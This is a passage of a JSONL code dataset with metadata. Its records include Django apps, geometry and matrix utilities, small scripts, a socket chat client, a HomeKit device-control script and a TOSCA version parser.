1\n    return crawled\n\nmax_depth = 1\nlinks = crawl_web(sys.stdin.read(), max_depth)\nfor x in links:\n    print(x)\n","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"227920428","text":"from django.shortcuts import render, redirect as redir\nfrom django.utils.crypto import get_random_string\n\n\n\ndef index(request):\n    if \"count\" not in request.session:\n        request.session[\"count\"] = 0\n    if \"random\" not in request.session:\n        return redir(\"/random\")\n    else:\n        if request.method == \"GET\":\n            return render(request, \"index.html\")\n        if request.method == \"POST\":\n            return redir(\"/random\")\n    \n\ndef random(request):\n    if request.method == \"GET\":\n        request.session[\"random\"] = get_random_string(length=14)\n    \n        request.session[\"count\"] += 1\n        return redir(\"/\")\n\ndef reset(request):\n    if request.method ==\"GET\":\n        request.session[\"count\"] = 0\n        return redir(\"/\")","sub_path":"apps/rng_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"140824462","text":"gans = []\r\nfound = []\r\nex_time = []\r\navg_per_gen = []\r\n\r\ndef new_trial(f):\r\n    global gans\r\n    global found\r\n    global ex_time\r\n    f.readline()\r\n    gans.append(int(f.readline()[5:]))\r\n    val = f.readline()[7:][:-1]\r\n    if val == \"True\":\r\n        found.append(True)\r\n    else:\r\n        found.append(False)\r\n    val = f.readline()[9:][:-2]\r\n    ex_time.append(float(val))\r\n\r\nwith open(\"RESULT.txt\") as f:\r\n    while f.read(1) != '':\r\n        new_trial(f)\r\n        while f.readline() != \"\\n\":\r\n            pass\r\n\r\ngen_avg = 0\r\nfor val in gans:\r\n    gen_avg += val\r\ngen_avg /= 20\r\n\r\ns_rate = 0\r\nfor val in found:\r\n    if val:\r\n        s_rate += 1\r\ns_rate *= 5\r\n\r\next_avg = 0\r\nfor val in ex_time:\r\n    ext_avg += val\r\next_avg /= 20\r\n\r\nsum_till = int(round(gen_avg, 0))\r\nprint(sum_till)\r\n\r\nwith open(\"PRESULT.txt\", 'w') as f:\r\n    f.write(\"AVERAGE NUMBER OF GENERATIONS: \" + str(gen_avg) + '\\n')\r\n    f.write(\"AVERAGE EXECUTION TIME: \" + str(ext_avg) + \"s\\n\")\r\n    f.write(\"SUCCES RATE: \" + str(s_rate) + \"%\\n\")","sub_path":"NEdata/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"103110952","text":"from django.urls import path, include\nfrom . import views\n\n\napp_name = 'home'\n\nurlpatterns = [\n    path('', views.index, name='index'),\n    # path('', views.IndexListView.as_view(), name='index'),\n    path('details/<int:pk>', views.details, name='details'),\n    path('register.html', views.UserFormView.as_view(), name='register'),\n    path('login/', views.UserLoginView.as_view(), name='login'),\n    path('login/', views.logout, name='logout'),\n]","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"565952562","text":"\"\"\"\ndoubly connected edge list \n\nrepresentation for network algorithms\n\"\"\"\n\n\n# example of edges from de berg fig 2.6\n\nimport  pysal as ps\n\nimport networkx as nx\n\n\nclass Vertex:\n    \"\"\" \"\"\"\n    def __init__(self, coordinates, incident_edge):\n        self.coordinates = coordinates\n        incident_edge = incident_edge\n\nclass Face:\n    \"\"\" \"\"\"\n    def __init__(self, outer_component=None, inner_component=None):\n\n        self.outer_component = outer_component\n        self.inner_component = inner_component\n\nclass Half_Edge:\n    \"\"\" \"\"\"\n    def __init__(self, origin, twin, incident_face, Next, Prev):\n        self.origin = origin\n        self.twin = twin\n        self.incident_face = incident_face\n        self.Next = Next\n        self.Prev = Prev\n\n\nclass DCEL:\n    \"\"\"Doubly connected edge list\"\"\"\n    def __init__(self, graph):\n\n        edges = {}\n        vertices = {}\n        faces = {}\n        half_edges = {}\n\n        cycles = nx.cycle_basis(graph)\n        fi = 0\n        for cycle in cycles:\n            n = len(cycle)\n            for i in range(n-1):\n                e = (cycle[i], cycle[i+1])\n                if e not in edges:\n                    edges[e] = fi\n                    twin_a = e[0], e[1]\n                    twin_b = e[1], e[0]\n                    if twin_a not in half_edges:\n                        half_edges[twin_a] = fi\n                    if twin_b not in half_edges:\n                        half_edges[twin_b] = None\n            e = cycle[n-1], cycle[0]\n            if e not in edges:\n                edges[e] = fi\n            faces[fi] = e\n\n\n            fi += 1\n\n        self.edges = edges\n        self.faces = faces\n        self.half_edges = half_edges\n\n\nif __name__ == '__main__':\n\n\n    p1 = [\n            [1,12],\n            [6,12],\n            [11,11],\n            [14,13],\n            [19,14],\n            [22,9],\n            [20,5],\n            [16,0],\n            [11,2],\n            [5,1],\n            [0,7],\n            [2,9],\n            [1,12]]\n\n    h1 = [\n            [3,7],\n            [5,5],\n            [8,5],\n            [5,8],\n            [3,7]\n            ]\n\n    h2 = [\n            [4,10],\n            [5,8],\n            [8,5],\n            [9,8],\n            [4,10]\n            ]\n\n    h3 = [\n            [12,6],\n            [15,4],\n            [18,5],\n            [19,7],\n            [17,9],\n            [14,9],\n            [12,6]\n            ]\n    # note that h1 union h2 forms a single hole in p1\n\n    faces = [p1, h1, h2, h3]\n    G = nx.Graph()\n\n    for face in faces:\n        n = len(face)\n        for i in range(n-1):\n            G.add_edge(tuple(face[i]), tuple(face[i+1]))\n\n\n    cycles = nx.cycle_basis(G)\n    # len of cycles is equal to the number of faces (not including external face\n\n    # find cycles that share a vertex\n    node2cycle = {}\n    multi_nodes = set()\n    for i,cycle in enumerate(cycles):\n        for node in cycle:\n            if node in node2cycle:\n                node2cycle[node].append(i)\n                multi_nodes.add(node)\n            else:\n                node2cycle[node] = [i]\n\n    \n\n    # check if there are nodes belonging to multiple cycles\n    if multi_nodes:\n        \n        # put nodes for each edge in lexicographic order\n        edges = [ sorted(edge) for edge in G.edges()]\n\n\n","sub_path":"pysal/network/dcel.py","file_name":"dcel.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"225966633","text":"import numpy as np\n\n\nclass Matrix(np.ndarray):\n    def __new__(cls, ndarray=None):\n        if ndarray is None:\n            ndarray = np.eye(4)\n        obj = np.asanyarray(ndarray).view(cls)\n        return obj\n\n    def __repr__(self):\n        return f\"Matrix({repr(self.tolist())})\"\n\n    def __eq__(self, other):\n        return np.allclose(self, other)\n\n    def __matmul__(self, other):\n        if isinstance(other, Matrix):\n            return super().__matmul__(other).view(other.__class__)\n        else:\n            return super().__matmul__(other.T).T.view(other.__class__)\n\n    @property\n    def inv(self):\n        return np.linalg.inv(self)\n\n    @staticmethod\n    def from_string(string):\n        ndarray = np.array(\n            [\n                [float(xx) for xx in x.split(\"|\")[1:-1]]\n                for x in string.strip().splitlines()\n            ]\n        )\n        return Matrix(ndarray)\n\n\nclass Translation(Matrix):\n    def __new__(cls, x, y, z):\n        obj = super().__new__(cls)\n        obj[:3, 3] = [x, y, z]\n        return obj\n\n\nclass Scaling(Matrix):\n    def __new__(cls, x, y, z):\n        obj = super().__new__(cls, np.diag([x, y, z, 1]))\n        return obj\n\n\nclass Rotation(Matrix):\n    def __new__(cls, x, y, z):\n        matrix = np.eye(4)\n\n        if x:\n            matrix_x = np.eye(4)\n            matrix_x[1:3, 1:3] = [[np.cos(x), -np.sin(x)], [np.sin(x), np.cos(x)]]\n            matrix = matrix_x @ matrix\n\n        if y:\n            matrix_y = np.eye(4)\n            matrix_y[::2, ::2] = [[np.cos(y), np.sin(y)], [-np.sin(y), np.cos(y)]]\n            matrix = matrix_y @ matrix\n\n        if z:\n            matrix_z = np.eye(4)\n            matrix_z[:2, :2] = [[np.cos(z), -np.sin(z)], [np.sin(z), np.cos(z)]]\n            matrix = matrix_z @ matrix\n\n        obj = super().__new__(cls, matrix)\n        return obj\n\n\nclass Shearing(Matrix):\n    def __new__(cls, xy, xz, yx, yz, zx, zy):\n        matrix = np.eye(4)\n        matrix[:3, :3] = [[1, xy, xz], [yx, 1, yz], [zx, zy, 1]]\n        obj = super().__new__(cls, matrix)\n        return obj\n","sub_path":"src/matrix/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"177610563","text":"# add_job\n## solve  model_start_time, model_end_time, model_restart variables.\n### handle nones\n## copy namelist from setup object to job\n## apply solved times/restart to job's namelists\n### namelist.hrldas: start, khour, kday, RESTART\n### hydro.namelist: HYDRO_RST\n## if restart: check that the restart is available\n## diff the setup namelists with the new one to ensure only certain fields are changed.\n\n\nimport datetime\nimport os\nimport re\nfrom wrfhydropy import *\n\nhome = os.path.expanduser(\"~/\")\nmodel_path = home + '/WRF_Hydro/'\nthe_model = WrfHydroModel(\n    os.path.expanduser(model_path + '/wrf_hydro_nwm_public/trunk/NDHMS'),\n    'NWM'\n)\n\ndomain_path = '/Users/james/Downloads/croton_NY_domain/domain/croton_NY/'\nthe_domain = WrfHydroDomain(\n    domain_top_dir=domain_path,\n    model_version='v1.2.1',\n    domain_config='NWM'\n)\n\nthe_setup = WrfHydroSetup(\n    the_model,\n    the_domain\n)\n\nsolve_model_start_end_times = job_tools.solve_model_start_end_times\n\n# #################################\n\n# All are 1 day and 2 hours.\ndef assert_start_end_soln(s,e):\n    assert s == datetime.datetime(2011, 8, 26, 0, 0)\n    assert e == datetime.datetime(2011, 9,  2, 0, 0)\n\n\ns, e = solve_model_start_end_times(None, None, the_setup)\nassert_start_end_soln(s, e)\n\nmodel_start_time = '2011-08-26 00'\nmodel_end_time = '2011-09-02 00'\ns, e = solve_model_start_end_times(model_start_time, model_end_time, the_setup)\nassert_start_end_soln(s, e)\n\nmodel_start_time = '2011-08-26 00:00'\nmodel_end_time = '2011-09-02 00'\ns, e = solve_model_start_end_times(model_start_time, model_end_time, the_setup)\nassert_start_end_soln(s, e)\n\nmodel_start_time = '2011-08-26 00:00'\nmodel_end_time = datetime.timedelta(days=7)\ns, e = solve_model_start_end_times(model_start_time, model_end_time, the_setup)\nassert_start_end_soln(s, e)\n\nmodel_start_time = '2011-08-26 00:00'\nmodel_end_time = {'hours': 24*7}\ns, e = solve_model_start_end_times(model_start_time, model_end_time, the_setup)\nassert_start_end_soln(s, e)\n\nmodel_start_time = '2011-08-26 00:00'\nmodel_end_time = {'days': 6, 'hours': 24}\ns, e = solve_model_start_end_times(model_start_time, model_end_time, the_setup)\nassert_start_end_soln(s, e)\n","sub_path":"wrfhydro/one_off_scripts/example_job_model_dates.py","file_name":"example_job_model_dates.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"45894558","text":"import xlwt\n\nwb=xlwt.Workbook()\nsht=wb.add_sheet('Sheet1',cell_overwrite_ok=True)\n\nborders=xlwt.Borders()\nborders.top=1\nborders.left=1\nborders.right=1\nborders.bottom=1\n\nalignment=xlwt.Alignment()\nalignment.horz=0x02\nalignment.vert=0x01\n\ntile_font=xlwt.Font()\ntile_font.bold=True\ntile_font.height=350\ntile_font.colour_index=10\n\nltile_font=xlwt.Font()\nltile_font.bold=True\n\ntile_font1=xlwt.Font()\ntile_font1.bold=True\ntile_font1.height=350\ntile_font1.colour_index=49\n\ntile_font2=xlwt.Font()\ntile_font2.bold=True\ntile_font2.height=350\ntile_font2.colour_index=17\n\n\ncell_style=xlwt.XFStyle()\ncell_style.alignment=alignment\ncell_style.borders=borders\n\nlittle_style=xlwt.XFStyle()\nlittle_style.alignment=alignment\nlittle_style.borders=borders\nlittle_style.font=ltile_font\n\nbig_title=xlwt.XFStyle()\nbig_title.font=tile_font\nbig_title.alignment=alignment\nbig_title.borders=borders\n\nsec_title=xlwt.XFStyle()\nsec_title.font=tile_font1\nsec_title.alignment=alignment\nsec_title.borders=borders\n\ntrd_title=xlwt.XFStyle()\ntrd_title.font=tile_font2\ntrd_title.alignment=alignment\ntrd_title.borders=borders\n\n\nsht.write_merge(0,0,0,3,\"标兵榜\",big_title)\nsht.write(1,0,\"支行\",little_style)\nsht.write(1,1,\"完成率\",little_style)\nsht.write(1,2,\"支行\",little_style)\nsht.write(1,3,\"完成率\",little_style)\n\nsht.write_merge(4,4,0,3,\"前有标兵后有追兵榜\",sec_title)\nsht.write(5,0,\"支行\",little_style)\nsht.write(5,1,\"完成率\",little_style)\nsht.write(5,2,\"支行\",little_style)\nsht.write(5,3,\"完成率\",little_style)\n\nsht.write_merge(9,9,0,3,\"追兵榜\",trd_title)\nsht.write(10,0,\"支行\",little_style)\nsht.write(10,1,\"完成率\",little_style)\nsht.write(10,2,\"支行\",little_style)\nsht.write(10,3,\"完成率\",little_style)\nrow_list=[['先行区', 0.12452830188679245], ['历城', 0.07045454545454545], ['济阳', 0.060909090909090906], ['平阴', 0.03495145631067961], ['开发区', 0.034375], ['商河', 0.03428571428571429], ['章丘', 0.01869918699186992], ['营业部', 0.01818181818181818], ['和平', 0.01598173515981735], ['银河', 0.014634146341463415], ['槐荫', 0.013488372093023256], ['天桥', 0.009583333333333333], ['长清', 0.009285714285714286], ['泺源', 0.008556149732620321], ['市中', 0.0084], ['历下', 0.004285714285714286]]\n\nfor i,city in enumerate(row_list):\n\tif i<4:\n\t\tif i<2:\n\t\t\tj=0\n\t\telse:\n\t\t\tj=2\n\t\tsht.write((2+i%2),j,city[0],cell_style)\n\t\tsht.write((2+i%2),j+1,city[1],cell_style)\n\t\tcontinue\n\tif i<10:\n\t\tif i<7:\n\t\t\tm=2\n\t\t\tj=0\n\t\telse:\n\t\t\tm=-1\n\t\t\tj=2\n\t\tsht.write((i+m),j,city[0],cell_style)\n\t\tsht.write((i+m),j+1,city[1],cell_style)\n\t\tcontinue\n\tif i<16:\n\t\tif i<13:\n\t\t\tj=0\n\t\t\tm=1\n\t\telse:\n\t\t\tm=-2\n\t\t\tj=2\n\t\tsht.write((i+m),j,city[0],cell_style)\n\t\tsht.write((i+m),j+1,city[1],cell_style)\n\t\tcontinue\n\n\n\nwb.save('a.xls')\n\n\n","sub_path":"python/xlwt_xls.py","file_name":"xlwt_xls.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"481922962","text":"def manhattan(point1, point2):\n    return sum(abs(coord1 - coord2) for coord1, coord2 in zip(point1, point2))\n\n\ndef solve(filename):\n    points = []\n    with open(filename) as fp:\n        for line in fp.readlines():\n            pos, r = line.split(' ')\n            r_num = int(r.lstrip('r='))\n            pos_nums = pos.lstrip('pos=<').rstrip('>,').split(',')\n            point = list(map(int, pos_nums))\n            point.append(r_num)\n            points.append(point)\n\n    max_range = max(points, key=lambda x: x[3])\n    \n    in_range = 0\n    for point in points:\n        in_range += 1 if manhattan(point[:3], max_range[:3]) <= max_range[3] else 0\n    \n    return in_range\n\nassert solve('easy_input') == 7\nprint(solve('input'))\n","sub_path":"python/d23p1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"5837674","text":"# 客户端\n\n# 收发 同时进行  把这个客户端做成一个类\n\n\nimport socket\nimport threading\n\n\nclass Client():\n    def __init__(self):\n        # 1. 创建套接字\n        self.sk = socket.socket()\n        # 2. 去链接服务器\n        self.sk.connect((\"192.168.40.153\",666))\n        t1 = threading.Thread(target=self.recv)  # 开启子线程执行发送消息\n        t1.start()\n        self.send()\n    # 发送消息\n    def send(self):\n        while True:\n            str1 = input(\"请输入:\")\n            self.sk.send(str1.encode(\"utf8\"))\n            print(\"发过去了\")\n\n    # 接收消息\n    def recv(self):\n        while True:\n            source = self.sk.recv(1024).decode(\"utf8\")\n            print(source)\n            print(\"接收消息了\")\n\n\nif __name__ == '__main__':\n    Client()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"woniu_workspace/python/day09/聊天室3——1/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"597103991","text":"#print one message if the try block raises a NameError and another for other errors\n\ntry:\n    a = 123\n    if a==123:\n        print(b)\n        raise NameError(\"Name error\")\n    if a >0:\n        raise ValueError(\"Value error\")\nexcept NameError as ne:\n        print(ne)\nexcept ValueError as ve:\n    pritn(ve)\n","sub_path":"(III).py","file_name":"(III).py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"592266870","text":"from math import atan2, pi\n\nclass Solution:\n    def visiblePoints(self, points: List[List[int]], angle: int, location: List[int]) -> int:\n        if len(points) == 1:\n            return 1\n        \n        lx, ly = location\n        angles = []\n        me = 0\n        \n        for px, py in points:\n            if px == lx and py == ly:\n                me += 1\n            else:\n                angles.append(atan2(py - ly, px - lx))\n\n        angles.sort()\n        angles.extend([x + (2.0 * pi) for x in angles])\n        \n        l, r = 0, 0\n        res = 0\n        angle = (2 * pi * angle) / 360.0\n        while l < len(angles) and r < len(angles):\n            while r < len(angles) and angles[r] - angles[l] <= angle:\n                res = max(res, r - l + 1)\n                r += 1\n            l += 1\n        \n        return res + me","sub_path":"python/1610_Maximum_Number_of_Visible_Points.py","file_name":"1610_Maximum_Number_of_Visible_Points.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"113431685","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n------------------------ Libraries & Global variables -------------------------\n\"\"\"\nimport os\nimport scipy.io as sio\nimport numpy as np\nimport pandas as pd\nfrom global_path import DATA_DIR, STIMULI\n\n\"\"\"\n-------------------------------- Read file data -------------------------------\n\"\"\"\ndef read_mat_file(stimulus, patient_id, data_dir = DATA_DIR):\n    save_file  = 'Stimuli'+str(stimulus)+'__'+patient_id+'.mat'\n    file_path = os.path.join(data_dir, save_file)\n    vid_data = sio.loadmat(file_path)['vid_data']\n    values = vid_data.item()\n    field = vid_data.dtype.names\n    dict_list = [(field[i], values[i]) for i in range(len(field))]\n    dict_list.append(('id', patient_id))\n    return dict(dict_list)\n\ndef read_MCHAT(data_dir = DATA_DIR):\n    file_path = os.path.join(data_dir, 'questions.xlsx')\n    df = pd.read_excel(file_path, index_col=None)\n    ids = df['Individual'].values\n    X = (df.values[:,2:22] == 'fail') + 0\n    y = df['Asd'].values\n    neg, pos, mid, unk = y=='no', y=='yes', y=='suspected', y=='unknown'\n    y[pos], y[neg], y[mid], y[unk] = 1, -1, 0, np.nan\n    mchat_scoring = df.values[:,22:]\n    return ids, X, y, mchat_scoring\n\n\"\"\"\n------------------------- Split training and testing --------------------------\n\"\"\"\ndef split(data_dir = DATA_DIR, percentage = .3):\n    # Read files\n    ids, X, y, mchat_scoring = read_MCHAT(data_dir)\n    pos, neg = ids[y==1], ids[y==-1]\n    # Number to remove\n    remove_pos = int(percentage * pos.shape[0])\n    remove_neg = int(percentage * neg.shape[0])\n    # Split ids\n    test_pos = np.random.permutation(pos)[:remove_pos]\n    test_neg = np.random.permutation(neg)[:remove_neg]\n    # Write it in a file, this is not really the best way to do it\n    test, test_y = list(), list()\n    train, train_y = list(), list()\n    for i in range(len(ids)):\n        patient_id = ids[i]\n        if patient_id in test_pos or patient_id in test_neg:\n            test.append(patient_id)\n            test_y.append(y[i])\n        else:   \n            train.append(patient_id)\n            train_y.append(y[i])\n    test_tmp = np.transpose(np.vstack((test, test_y)))\n    testFrame = pd.DataFrame(test_tmp, columns=['Id','Output'])\n    train_tmp = np.transpose(np.vstack((train, train_y)))\n    trainFrame = pd.DataFrame(train_tmp, columns=['Id','Output'])\n    testFrame.to_csv(os.path.join(data_dir, 'test_ids.csv'), index=None)\n    trainFrame.to_csv(os.path.join(data_dir, 'train_ids.csv'), index=None)\n\n\"\"\"\n--------------------------------- Access data ---------------------------------\n\"\"\"\ndef get_ids(data_dir = DATA_DIR):\n    ids, _, labels, _ = read_MCHAT(data_dir=data_dir)\n    return ids, labels\n\ndef keep_label(ids, labels, keep=\"good\", verbose = False):\n    if keep == \"pos\":\n        ind = labels==1\n    elif keep == \"neg\":\n        ind = labels==-1\n    elif keep == \"good\":\n        ind = np.logical_or(labels==-1, labels==1)\n    if verbose:\n        return ids[ind], labels[ind].astype(np.int), ind\n    else:\n        return ids[ind], labels[ind].astype(np.int)\n    \ndef get_data(stimulus, patient_id, data_dir = DATA_DIR):\n    dictionary = read_mat_file(stimulus, patient_id, data_dir = data_dir)\n    detected = dictionary.get('face_detection').flatten() == 1\n    timestamps = dictionary.get('timestamps').flatten()\n    timestamps = timestamps[detected]\n    landmarks = dictionary.get('original_landmarks')\n    landmarks = landmarks[:, detected]\n    # Correct potential overflow\n    timestamps = timestamps.astype(np.float32)\n    landmarks = landmarks.astype(np.float32)\n    return landmarks, timestamps\n\n\"\"\"\n------------------------------- Access all data -------------------------------\n\"\"\" \ndef compute_all(features_extractor, ids):\n    nb_ids, nb_stimulis = len(ids), len(STIMULI)\n    values = np.zeros((nb_ids, nb_stimulis)).astype(np.dtype(object))\n    ind = np.zeros(nb_ids)==0\n    for i in range(nb_ids):\n        patient_id = ids[i]\n        for j in range(nb_stimulis):\n            stimulus = STIMULI[j]\n            try:\n                landmarks, timestamps = get_data(stimulus, patient_id)\n                features = features_extractor(landmarks, timestamps, stimulus)\n                values[i,j] = features\n            except FileNotFoundError:\n                ind[i] = False\n                print(\"Patient %s stimuli %d not found\" %(patient_id,stimulus))\n                continue    \n    return values[ind,:], ind\n    \ndef concatenate_all(values): \n    all_val = np.hstack(values[:,0])\n    for i in range(1,4):\n        tmp = np.hstack(values[:,i])\n        all_val = np.hstack((all_val, tmp))\n    all_val[np.isnan(all_val)] = 0\n    all_val[all_val==np.inf] = 0\n    all_val[all_val==-np.inf] = 0\n    return all_val\n\ndef homogenized_description(extractor, keep='good',\n                            homogenize=False, keep_norm='neg'):\n    all_ids, all_labels = get_ids()\n    ids, labels = keep_label(all_ids, all_labels, keep=keep)\n    values, ind = compute_all(extractor, ids)\n    ids, labels = ids[ind], labels[ind]\n    \n    if homogenize:\n        _, _, ind = keep_label(ids, labels, keep=keep_norm, verbose=True)\n        val = values[ind, :]\n        all_values = concatenate_all(val)\n        mean = np.expand_dims(np.mean(all_values, axis=1), axis=1)\n        std = np.expand_dims(np.sqrt(np.var(all_values, axis=1)), axis=1)\n        for i in range(values.shape[0]):\n            for j in range(values.shape[1]):\n                tmp = values[i,j] \n                tmp -= mean\n                tmp /= std\n                tmp[np.isnan(tmp)] = 0\n                values[i,j] = tmp\n    return values, labels, ids","sub_path":"data_handling.py","file_name":"data_handling.py","file_ext":"py","file_size_in_byte":5617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"427849803","text":"#!/usr/bin/env python3\n\nimport json\nimport argparse\nimport http.client\nimport sys\n\nfrom homekit import find_device_ip_and_port, SecureHttp, load_pairing, get_session_keys, HapStatusCodes\n\n\ndef setup_args_parser():\n    parser = argparse.ArgumentParser(description='HomeKit perform app - performs operations on paired devices')\n    parser.add_argument('-f', action='store', required=True, dest='file', help='File with the pairing data')\n    parser.add_argument('-c', action='store', required=False, dest='characteristics')\n    parser.add_argument('-v', action='store', required=False, dest='value')\n\n    return parser\n\n\nif __name__ == '__main__':\n    parser = setup_args_parser()\n    args = parser.parse_args()\n\n    pairing_data = load_pairing(args.file)\n    if pairing_data is None:\n        print('File {file} not found!'.format(file=args.file))\n        sys.exit(-1)\n\n    deviceId = pairing_data['AccessoryPairingID']\n\n    connection_data = find_device_ip_and_port(deviceId)\n    if connection_data is None:\n        print('Device {id} not found'.format(id=deviceId))\n        sys.exit(-1)\n\n    conn = http.client.HTTPConnection(connection_data['ip'], port=connection_data['port'])\n    pairing_data = load_pairing(args.file)\n\n    controllerToAccessoryKey, accessoryToControllerKey = get_session_keys(conn, pairing_data)\n\n    if not args.characteristics:\n        parser.print_help()\n        sys.exit(-1)\n    if not args.value:\n        parser.print_help()\n        sys.exit(-1)\n\n    tmp = args.characteristics.split('.')\n    aid = int(tmp[0])\n    iid = int(tmp[1])\n    value = args.value\n\n    sec_http = SecureHttp(conn.sock, accessoryToControllerKey, controllerToAccessoryKey)\n\n    body = json.dumps({'characteristics': [{'aid': aid, 'iid': iid, 'value': value}]})\n    print(body)\n    response = sec_http.put('/characteristics', body)\n    data = response.read().decode()\n    if response.code != 204:\n        data = json.loads(data)\n        code = data['status']\n        print('put_characteristics failed because: {reason} ({code})'.format(reason=HapStatusCodes[code], code=code))\n    else:\n        print('put_characteristics succeeded')\n\n    conn.close()\n","sub_path":"homekit/put_characteristic.py","file_name":"put_characteristic.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"607608331","text":"# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements.  See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License.  You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom itertools import imap\nfrom collections import namedtuple\n\nfrom ..exceptions import DSLParsingLogicException\n\nVERSION = 'tosca_definitions_version'\nBASE_VERSION_PROFILE = 'tosca_aria_yaml'\n\n\nclass VersionNumber(namedtuple('VersionNumber', 'major, minor, micro')):\n    def __new__(cls, major, minor, micro=0):\n        return super(VersionNumber, cls).__new__(cls, major, minor, micro)\n\n    def __repr__(self):\n        return (\n            '{cls.__name__}'\n            '(major={self.major}, minor={self.minor}, micro={self.micro})'\n            .format(cls=self.__class__, self=self))\n\n\nclass VersionStructure(namedtuple('VersionStructure', 'profile, number')):\n    def __repr__(self):\n        return (\n            '{cls.__name__}(profile={self.profile}, number={self.number!r})'\n            .format(cls=self.__class__, self=self))\n\n    @property\n    def name(self):\n        return (\n            '{self.profile}_{self.number.major}_'\n            '{self.number.minor}_{self.number.micro}'.format(self=self))\n\n\nclass SupportedVersions(object):\n    def __init__(self, database):\n        self.database = database\n\n    def __contains__(self, version):\n        return any(imap(\n            lambda supported_version: supported_version == version,\n            self.versions()))\n\n    @property\n    def base_version(self):\n        return next(iter(self.database[BASE_VERSION_PROFILE]))\n\n    def versions(self):\n        for version_structures in self.database.itervalues():\n            for version_structure in version_structures:\n                yield version_structure\n\n    def create_version_structure(self, version_name):\n        if not version_name:\n            raise DSLParsingLogicException(\n                71, '{0} is missing or empty'.format(VERSION))\n\n        if not isinstance(version_name, basestring):\n            raise DSLParsingLogicException(\n                72, 'Invalid {0}: {1} is not a string'.format(\n                    VERSION, version_name))\n\n        for prefix in self.database.iterkeys():\n            if version_name.startswith(prefix):\n                short_dsl_version = version_name[len(prefix) + 1:]\n                break\n        else:\n            raise DSLParsingLogicException(\n                73, \"Invalid {0}: '{1}', expected a value following \"\n                    \"this format: '{2}'\".format(\n                        VERSION, version_name, self.base_version.name))\n\n        if '_' not in short_dsl_version:\n            raise DSLParsingLogicException(\n                73, \"Invalid {0}: '{1}', \"\n                    \"expected a value following this format: '{2}'\".format(\n                        VERSION, version_name, self.base_version.name))\n\n        version_parts = short_dsl_version.split('_')\n        if len(version_parts) == 2:\n            major, minor = version_parts\n            micro = '0'\n        else:\n            major, minor, micro = version_parts\n\n        if not major.isdigit():\n            raise DSLParsingLogicException(\n                74, \"Invalid {0}: '{1}', major version is '{2}' \"\n                    \"while expected to be a number\".format(\n                        VERSION, version_name, major))\n\n        if not minor.isdigit():\n            raise DSLParsingLogicException(\n                75, \"Invalid {0}: '{1}', minor version is '{2}' \"\n                    \"while expected to be a number\".format(\n                        VERSION, version_name, minor))\n\n        if not micro.isdigit():\n            raise DSLParsingLogicException(\n                76, \"Invalid {0}: '{1}', micro version is '{2}' \"\n                    \"while expected to be a number\".format(\n                        VERSION, version_name, micro))\n\n        return VersionStructure(\n            profile=prefix,  # pylint: disable=undefined-loop-variable\n            number=VersionNumber(int(major), int(minor), int(micro)))\n\n    def validate_dsl_version(self, version_structure):\n        if version_structure not in self:\n            raise DSLParsingLogicException(\n                29,\n                'Unexpected tosca_definitions_version {0!r}; Currently '\n                'supported versions are: {1}'\n                .format(version_structure, list(self.versions())))\n","sub_path":"aria/parser/dsl_supported_versions/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":4965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
